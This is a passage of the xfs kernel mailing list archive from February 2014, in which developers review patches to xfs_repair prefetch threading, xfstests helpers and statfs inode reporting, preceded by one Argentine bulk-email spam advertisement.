noreply@statusmail.com.ar Mon Feb 24 17:19:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.3 required=5.0 tests=HTML_MESSAGE,LOTS_OF_MONEY, MIME_HTML_ONLY,SUBJECT_NEEDS_ENCODING,SUBJ_ILLEGAL_CHARS autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6E3877F56 for ; Mon, 24 Feb 2014 17:19:52 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5DA2E304066 for ; Mon, 24 Feb 2014 15:19:51 -0800 (PST) X-ASG-Debug-ID: 1393283987-04cb6c6de277d270001-w1Z2WR Received: from smtp2.fidelitytools.net (smtp2.fidelitytools.net [190.210.161.152]) by cuda.sgi.com with ESMTP id ej348zZMUL7BNp9k for ; Mon, 24 Feb 2014 15:19:47 -0800 (PST) X-Barracuda-Envelope-From: noreply@statusmail.com.ar X-Barracuda-Apparent-Source-IP: 190.210.161.152 Received: from hka-smtp-01 (200-127-167-22.net.prima.net.ar [200.127.167.22]) by smtp2.fidelitytools.net (Postfix) with ESMTP id BE26AC427C for ; Mon, 24 Feb 2014 20:19:45 -0300 (ART) Received: from big-02.hka.com.ar (unknown [192.168.0.11]) by hka-smtp-01 (Postfix) with SMTP id 79DEE408B2 for ; Mon, 24 Feb 2014 20:19:58 -0300 (ART) From: "Lorena" To: linux-xfs@oss.sgi.com Subject: Publicite su empresa por e-mail en todo el país. Más de 700.000 contactos. Desde $ 580 Date: Mon, 24 Feb 2014 20:13:34 -0300 X-ASG-Orig-Subj: Publicite su empresa por e-mail en todo el país. Más de 700.000 contactos. Desde $ 580 Message-ID: <20140224-20133493-137c@big-02.hka.com.ar> MIME-Version: 1.0 Content-Type: text/html X-Barracuda-Connect: smtp2.fidelitytools.net[190.210.161.152] X-Barracuda-Start-Time: 1393283987 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.38 X-Barracuda-Spam-Status: No, SCORE=1.38 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FAKELINK, HTML_MESSAGE, MIME_HTML_ONLY, SUBJECT_NEEDS_ENCODING X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145475 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.28 SUBJECT_NEEDS_ENCODING SUBJECT_NEEDS_ENCODING 0.10 FAKELINK Faking http link in body of email STATUSmail
Ver online
 
STATUSmail
Inteligencia en campañas de Email MKT
Suc. Buenos Aires
Washington 4095
CP: C1430EVE
Tel: 011-5235-5480
Suc. Córdoba
Mendoza 195
CP: X5000LQC
Tel: 0351-425-3025

+470.000
Emails
de Empresas Argentinas
organizados por rubro y provincia
+310.000
Emails
de particulares
organizados por provincia
Algunos Campañas:

http://www.statusmail.com.ar/rodizio

http://www.statusmail.com.ar/tacticasoft

http://www.statusmail.com.ar/perfectprint

http://www.statusmail.com.ar/venturoil

http://www.statusmail.com.ar/vyp

http://www.statusmail.com.ar/pentagono

http://www.statusmail.com.ar/coarse

http://www.statusmail.com.ar/ceres-agro


  PLANES VIGENTES CANTIDAD
DE ENVIOS
BASE DE
E-MAILS
DISEÑO
VALOR
 
 
PLAN 10k
10.000 INCLUIDA ---
$ 790,00
 
 
PLAN 25k
25.000 INCLUIDA ---
$ 1.275,00
 
 
PLAN 50k
50.000 INCLUIDA INCLUIDO
$ 1.940,00
 
 
PLAN 100k
100.000 INCLUIDA INCLUIDO
$ 2.975,00
 
 
PLAN 200k
200.000 INCLUIDA INCLUIDO
$ 4.250,00
 
 
PLAN 500k
500.000 INCLUIDA INCLUIDO
$ 8.650,00
 
             
Valores con IVA no incluido - Valor Diseño $ 250 + iva
+
+ +
Asesoramiento
integral
 
Diseño HTML de su comunicación
 
Base de E-mails
segmentada
 
Envío a través de nuestros servidores

STATUSmail
Inteligencia en campañas de Email MKT
 
Sucursal Buenos Aires
Washington 4095
Buenos Aires - Argentina
Tel: (+54) 011- 5235-5480
Sucursal Córdoba
Mendoza 195
Córdoba - Argentina
Tel: (+54) 0351- 425-3025

E-mail: info@statusmail.com.ar
Web: www.statusmail.com.ar

Ley 26.032: La búsqueda, recepción y difusión de información e ideas de toda índole, a través del servicio de internet, se considera comprendido dentro de la garantía constitucional que ampara la libertad de expresión. Si le hemos causado alguna molestia, rogamos acepte nuestras disculpas.

( Para desuscribirse haga click aquí )



From bfoster@redhat.com Mon Feb 24 17:30:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DE9217F50 for ; Mon, 24 Feb 2014 17:30:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B024C304032 for ; Mon, 24 Feb 2014 15:30:33 -0800 (PST) X-ASG-Debug-ID: 1393284632-04bdf00fca367900001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id zATtk3XvxseGZdg1 for ; Mon, 24 Feb 2014 15:30:32 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1ONUOLS018458 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 24 Feb 2014 18:30:25 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1ONUNKW023738; Mon, 24 Feb 2014 18:30:23 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id F2BFF124491; Mon, 24 Feb 2014 18:30:21 -0500 (EST) Date: Mon, 24 Feb 2014 18:30:21 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 05/10] repair: factor out threading setup code Message-ID: <20140224233021.GA7585@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 05/10] repair: factor out threading setup code References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-6-git-send-email-david@fromorbit.com> <20140224204304.GB49654@bfoster.bfoster> <20140224231620.GS13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140224231620.GS13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393284632 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Feb 25, 2014 at 10:16:20AM +1100, Dave Chinner wrote: > On Mon, Feb 24, 2014 at 03:43:05PM -0500, Brian Foster wrote: > > On Mon, Feb 24, 2014 at 05:29:24PM +1100, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > The same code is repeated in different places to set up > > > multithreaded prefetching. This can all be factored into a single > > > implementation. > > > > > > Signed-off-by: Dave Chinner > .... > > > static void > > > traverse_ags( > > > - xfs_mount_t *mp) > > > + struct xfs_mount *mp) > > > { > > > - int i; > > > - work_queue_t queue; > > > - prefetch_args_t *pf_args[2]; > > > - > > > - /* > > > - * we always do prefetch for phase 6 as it will fill in the gaps > > > - * not read during phase 3 prefetch. > > > - */ > > > - queue.mp = mp; > > > - pf_args[0] = start_inode_prefetch(0, 1, NULL); > > > - for (i = 0; i < glob_agcount; i++) { > > > - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, > > > - pf_args[i & 1]); > > > - traverse_function(&queue, i, pf_args[i & 1]); > > > - } > > > + do_inode_prefetch(mp, 0, traverse_function, true, true); > > > > The cover letter indicates the parallelization of phase 6 was dropped, > > but this appears to (conditionally) enable it. > > No, it enables prefetch, it does not enable threading. The second > parameter is "0" which means that do_inode_prefetch() executes the > single threaded prefetch walk like the above code. i.e.: > > > > + */ > > > +void > > > +do_inode_prefetch( > > > + struct xfs_mount *mp, > > > + int stride, > > stride = 0 > > > > + void (*func)(struct work_queue *, > > > + xfs_agnumber_t, void *), > > > + bool check_cache, > > > + bool dirs_only) > > > +{ > > > + int i, j; > > > + xfs_agnumber_t agno; > > > + struct work_queue queue; > > > + struct work_queue *queues; > > > + struct prefetch_args *pf_args[2]; > > > + > > > + /* > > > + * If the previous phases of repair have not overflowed the buffer > > > + * cache, then we don't need to re-read any of the metadata in the > > > + * filesystem - it's all in the cache. In that case, run a thread per > > > + * CPU to maximise parallelism of the queue to be processed. > > > + */ > > > + if (check_cache && !libxfs_bcache_overflowed()) { > > > + queue.mp = mp; > > > + create_work_queue(&queue, mp, libxfs_nproc()); > > > + for (i = 0; i < mp->m_sb.sb_agcount; i++) > > > + queue_work(&queue, func, i, NULL); > > > + destroy_work_queue(&queue); > > > + return; > > > + } > > > + > > > + /* > > > + * single threaded behaviour - single prefetch thread, processed > > > + * directly after each AG is queued. > > > + */ > > > + if (!stride) { > > > + queue.mp = mp; > > > + pf_args[0] = start_inode_prefetch(0, dirs_only, NULL); > > > + for (i = 0; i < mp->m_sb.sb_agcount; i++) { > > > + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, > > > + dirs_only, pf_args[i & 1]); > > > + func(&queue, i, pf_args[i & 1]); > > > + } > > > + return; > > > + } > > So we run this "!stride" code. Hmmmm - maybe you are commenting on > the "check_cache" code? I probably should prevent that from > triggering, too. > Sorry, I could have been more clear on that. Yes, I'm referring specifically to setting check_cache to true. Brian > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From david@fromorbit.com Mon Feb 24 17:35:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 73B7F7F50 for ; Mon, 24 Feb 2014 17:35:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5B638304066 for ; Mon, 24 Feb 2014 15:35:25 -0800 (PST) X-ASG-Debug-ID: 1393284922-04cbb00c28778ba0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id K1BpnX3zEYdBYDqH for ; Mon, 24 Feb 2014 15:35:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkBKAH3WC1N5LJYePGdsb2JhbABZgwaIT7QghVWBGRcDAQEBATg1giUBAQU6HCMQCAMYCSUPBSUDBxoTiATGGBcWjk4HhDgEmDOKUosXKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 25 Feb 2014 10:05:22 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WI53Q-0007ZD-LQ; Tue, 25 Feb 2014 10:35:20 +1100 Date: Tue, 25 Feb 2014 10:35:20 +1100 From: Dave Chinner To: Filipe David Manana Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Subject: Re: [PATCH] xfstests: add function _require_fssum() Message-ID: <20140224233520.GT13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add function _require_fssum() References: <1393242983-16149-1-git-send-email-fdmanana@gmail.com> <20140224122310.GO4317@dastard> <20140224222216.GP4317@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393284922 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145475 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 24, 2014 at 11:08:27PM +0000, Filipe David Manana wrote: > On Mon, Feb 24, 2014 at 10:22 PM, Dave Chinner wrote: > > On Mon, Feb 24, 2014 at 01:22:36PM +0000, Filipe David Manana wrote: > >> On Mon, Feb 24, 2014 at 12:23 PM, Dave Chinner wrote: > >> >> diff --git a/tests/btrfs/007 b/tests/btrfs/007 > >> >> index 5df9ccb..5430613 100755 > >> >> --- a/tests/btrfs/007 > >> >> +++ b/tests/btrfs/007 > >> >> @@ -31,7 +31,6 @@ seq=`basename $0` > >> >> seqres=$RESULT_DIR/$seq > >> >> echo "QA output created by $seq" > >> >> > >> >> -here=`pwd` > >> >> tmp=`mktemp -d` > >> >> status=1 > >> > > >> > Yeah, redefining $here is a bad thing to do :/ > > > > Right, my mistake. It needs to be defined for the entire test, not > > in a requires function. Hence I think we should just export it from > > check.... > > Hum, ok. So the decision is to let the tests explicitly define the > variable "here", and not export "here" from the main check script. Well, that's the status quo right now. What I'm suggesting is that we should just export it from check and get rid of it from each test as a separate cleanup. i.e. It always needs to be set to the same value (i.e. the root of the xfstests tree) so there is no reason why it should not be set up once in a central location. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Mon Feb 24 17:55:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C7877F50 for ; Mon, 24 Feb 2014 17:55:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 11B4B8F8070 for ; Mon, 24 Feb 2014 15:55:16 -0800 (PST) X-ASG-Debug-ID: 1393286115-04cb6c567700bc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 9BcnfHjT71SCOf4Q for ; Mon, 24 Feb 2014 15:55:16 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1ONtErQ026583 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 24 Feb 2014 18:55:14 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1ONtDZW002701; Mon, 24 Feb 2014 18:55:13 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 18E5D124491; Mon, 24 Feb 2014 18:55:12 -0500 (EST) Date: Mon, 24 Feb 2014 18:55:12 -0500 From: Brian Foster To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfs: be honest about used inodes in statfs Message-ID: <20140224235511.GA9001@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH V2] xfs: be honest about used inodes in statfs References: <53067DC0.9040800@redhat.com> <530BD167.2020600@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530BD167.2020600@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393286116 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Feb 24, 2014 at 05:10:31PM -0600, Eric Sandeen wrote: > Because we have lazy counters, it's possible that we over-allocate > inodes past the maxicount (imaxpct) limit. > > A previous commit, > > 2fe3366 xfs: ensure f_ffree returned by statfs() is non-negative > > stopped statfs from underflowing f_ffree in this case, but that > only happened when we mis-reported f_files, capped at maxicount. > > Change statfs to report the actual number of inodes allocated, > even if it is greater than maxicount. It's reality. > Deal with it. > > (New clearer code flow thanks to Brian!) > > Logic-made-readable-by: Brian Foster > Signed-off-by: Eric Sandeen > --- > Heh, looks good to me. I don't know if the LMRB tag disqualifies me as a reviewer now ;), but feel free to replace it with: Reviewed-by: Brian Foster > V2: Use Brian's suggested logic for working out the numbers > > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index f317488..0dbcc17 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -1083,7 +1083,6 @@ xfs_fs_statfs( > struct xfs_inode *ip = XFS_I(dentry->d_inode); > __uint64_t fakeinos, id; > xfs_extlen_t lsize; > - __int64_t ffree; > > statp->f_type = XFS_SB_MAGIC; > statp->f_namelen = MAXNAMELEN - 1; > @@ -1100,17 +1099,19 @@ xfs_fs_statfs( > statp->f_blocks = sbp->sb_dblocks - lsize; > statp->f_bfree = statp->f_bavail = > sbp->sb_fdblocks - XFS_ALLOC_SET_ASIDE(mp); > + /* > + * Potential number of new inodes in free blocks, limited by maxicount. > + */ > fakeinos = statp->f_bfree << sbp->sb_inopblog; > - statp->f_files = > - MIN(sbp->sb_icount + fakeinos, (__uint64_t)XFS_MAXINUMBER); > if (mp->m_maxicount) > - statp->f_files = min_t(typeof(statp->f_files), > - statp->f_files, > - mp->m_maxicount); > + fakeinos = mp->m_maxicount > sbp->sb_icount ? > + MIN(mp->m_maxicount - sbp->sb_icount, fakeinos) : 0; > + > + /* Total possible files is current inodes + potential new inodes */ > + statp->f_files = MIN(sbp->sb_icount + fakeinos, > + (__uint64_t) XFS_MAXINUMBER); > > - /* make sure statp->f_ffree does not underflow */ > - ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); > - statp->f_ffree = max_t(__int64_t, ffree, 0); > + statp->f_ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); > > spin_unlock(&mp->m_sb_lock); > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From david@fromorbit.com Mon Feb 24 17:56:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 28EE77F50 for ; Mon, 24 Feb 2014 17:56:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E3543304032 for ; Mon, 24 Feb 2014 15:56:19 -0800 (PST) X-ASG-Debug-ID: 1393286177-04bdf05dab00f80001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id mckMCd8w9eNSygJq for ; Mon, 24 Feb 2014 15:56:17 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkFKAPLaC1N5LJYePGdsb2JhbABZgwaIT7QihVWBGRcDAQEBATg1giUBAQUnExwjEAgDGAklDwUlAwcaE4gExh8XFo12AVcHhDgEmDOVaSiBLAEf Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 25 Feb 2014 10:26:17 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WI5Ne-0007cC-LO; Tue, 25 Feb 2014 10:56:14 +1100 Date: Tue, 25 Feb 2014 10:56:14 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfs: be honest about used inodes in statfs Message-ID: <20140224235614.GU13647@dastard> X-ASG-Orig-Subj: Re: [PATCH V2] xfs: be honest about used inodes in statfs References: <53067DC0.9040800@redhat.com> <530BD167.2020600@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530BD167.2020600@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393286177 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145476 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 24, 2014 at 05:10:31PM -0600, Eric Sandeen wrote: > Because we have lazy counters, it's possible that we over-allocate > inodes past the maxicount (imaxpct) limit. > > A previous commit, > > 2fe3366 xfs: ensure f_ffree returned by statfs() is non-negative > > stopped statfs from underflowing f_ffree in this case, but that > only happened when we mis-reported f_files, capped at maxicount. > > Change statfs to report the actual number of inodes allocated, > even if it is greater than maxicount. It's reality. > Deal with it. > > (New clearer code flow thanks to Brian!) > > Logic-made-readable-by: Brian Foster > Signed-off-by: Eric Sandeen > --- > > V2: Use Brian's suggested logic for working out the numbers > > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index f317488..0dbcc17 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -1083,7 +1083,6 @@ xfs_fs_statfs( > struct xfs_inode *ip = XFS_I(dentry->d_inode); > __uint64_t fakeinos, id; > xfs_extlen_t lsize; > - __int64_t ffree; > > statp->f_type = XFS_SB_MAGIC; > statp->f_namelen = MAXNAMELEN - 1; > @@ -1100,17 +1099,19 @@ xfs_fs_statfs( > statp->f_blocks = sbp->sb_dblocks - lsize; > statp->f_bfree = statp->f_bavail = > sbp->sb_fdblocks - XFS_ALLOC_SET_ASIDE(mp); > + /* > + * Potential number of new inodes in free blocks, limited by maxicount. > + */ > fakeinos = statp->f_bfree << sbp->sb_inopblog; Can we rename "fakeinos" to something like "free_inodes" so that the code reads a little bit better while we are touching this code? > - statp->f_files = > - MIN(sbp->sb_icount + fakeinos, (__uint64_t)XFS_MAXINUMBER); > if (mp->m_maxicount) > - statp->f_files = min_t(typeof(statp->f_files), > - statp->f_files, > - mp->m_maxicount); > + fakeinos = mp->m_maxicount > sbp->sb_icount ? > + MIN(mp->m_maxicount - sbp->sb_icount, fakeinos) : 0; Get rid of MIN - it should be min() or min_t(). Also the mix of if() and ternary operations makes this difficult to follow the logic. Better, IMO, is this: free_inodes = statp->f_bfree << sbp->sb_inopblog; if (mp->m_maxicount > sbp->sb_icount) free_inodes = min(mp->m_maxicount - sbp->sb_icount, free_inodes); else if (mp->m_maxicount) free_inodes = 0; > + > + /* Total possible files is current inodes + potential new inodes */ > + statp->f_files = MIN(sbp->sb_icount + fakeinos, > + (__uint64_t) XFS_MAXINUMBER); statp->f_files = min_t(u64, sbp->sb_icount + free_inodes, XFS_MAXINUMBER); And for bonus points: while we are looking at maxicount, the setting on maxicount in the growfs code should call xfs_set_maxicount() rather than open coding it, and xfs_set_maxicount() needs to be reworked to prevent overflow when sbp->sb_dblocks * sbp->sb_imax_pct is greater than 64 bits.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Mon Feb 24 18:02:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2B1977F50 for ; Mon, 24 Feb 2014 18:02:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9DA32AC002 for ; Mon, 24 Feb 2014 16:02:45 -0800 (PST) X-ASG-Debug-ID: 1393286563-04cb6c5675010f0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 2QUbTm0kjMzG0VaJ for ; Mon, 24 Feb 2014 16:02:43 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-2.local (unknown [67.51.122.226]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9941D63C59A4; Mon, 24 Feb 2014 18:02:42 -0600 (CST) Message-ID: <530BDDA0.7080208@sandeen.net> Date: Mon, 24 Feb 2014 18:02:40 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfs: be honest about used inodes in statfs References: <53067DC0.9040800@redhat.com> <530BD167.2020600@sandeen.net> <20140224235614.GU13647@dastard> X-ASG-Orig-Subj: Re: [PATCH V2] xfs: be honest about used inodes in statfs In-Reply-To: <20140224235614.GU13647@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393286563 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145476 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/24/14, 5:56 PM, Dave Chinner wrote: > On Mon, Feb 24, 2014 at 05:10:31PM -0600, Eric Sandeen wrote: >> Because we have lazy counters, it's possible that we over-allocate >> inodes past the maxicount (imaxpct) limit. >> >> A previous commit, >> >> 2fe3366 xfs: ensure f_ffree returned by statfs() is non-negative >> >> stopped statfs from underflowing f_ffree in this case, but that >> only happened when we mis-reported f_files, capped at maxicount. >> >> Change statfs to report the actual number of inodes allocated, >> even if it is greater than maxicount. It's reality. >> Deal with it. >> >> (New clearer code flow thanks to Brian!) >> >> Logic-made-readable-by: Brian Foster >> Signed-off-by: Eric Sandeen >> --- >> >> V2: Use Brian's suggested logic for working out the numbers >> >> diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c >> index f317488..0dbcc17 100644 >> --- a/fs/xfs/xfs_super.c >> +++ b/fs/xfs/xfs_super.c >> @@ -1083,7 +1083,6 @@ xfs_fs_statfs( >> struct xfs_inode *ip = XFS_I(dentry->d_inode); >> __uint64_t fakeinos, id; >> xfs_extlen_t lsize; >> - __int64_t ffree; >> >> statp->f_type = XFS_SB_MAGIC; >> statp->f_namelen = MAXNAMELEN - 1; >> @@ -1100,17 +1099,19 @@ xfs_fs_statfs( >> statp->f_blocks = sbp->sb_dblocks - lsize; >> statp->f_bfree = statp->f_bavail = >> sbp->sb_fdblocks - XFS_ALLOC_SET_ASIDE(mp); >> + /* >> + * Potential number of new inodes in free blocks, limited by maxicount. >> + */ >> fakeinos = statp->f_bfree << 